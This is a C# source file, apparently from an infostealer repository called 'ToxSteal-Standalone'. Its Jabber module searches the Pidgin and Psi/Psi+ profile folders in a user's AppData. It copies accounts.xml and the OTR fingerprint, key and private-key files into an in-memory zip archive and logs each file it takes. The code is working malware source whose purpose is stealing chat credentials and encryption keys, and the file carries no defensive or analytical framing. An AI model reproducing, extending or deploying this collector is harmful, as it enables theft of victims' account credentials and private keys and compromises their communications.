Files
ToxSteal-Standalone/New/Intelix.Targets.Messangers/Jabber.cs
T

44 lines
1.2 KiB
C#
Raw Normal View History

2026-08-27 18:29:08 +00:00
using System;
using System.IO;
using System.Threading.Tasks;
using Intelix.Helper.Data;
namespace Intelix.Targets.Messangers;
public class Jabber : ITarget
{
public void Collect(InMemoryZip zip, Counter counter)
{
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
string[] source = new string[3]
{
folderPath + "\\.purple\\",
folderPath + "\\Psi\\profiles\\default\\",
folderPath + "\\Psi+\\profiles\\default\\"
};
string[] files2 = new string[4] { "accounts.xml", "otr.fingerprints", "otr.keys", "otr.private_key" };
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
counterApplications.Name = "Jabber";
Parallel.ForEach(source, delegate(string dir)
{
if (Directory.Exists(dir))
{
Parallel.ForEach(files2, delegate(string file2)
{
if (File.Exists(dir + file2))
{
string text = "Jabber\\" + file2;
zip.AddFile(text, File.ReadAllBytes(dir + file2));
counterApplications.Files.Add(dir + file2 + " => " + text);
}
});
}
});
if (counterApplications.Files.Count > 0)
{
counterApplications.Files.Add("Jabber\\");
counter.Messangers.Add(counterApplications);
}
}
}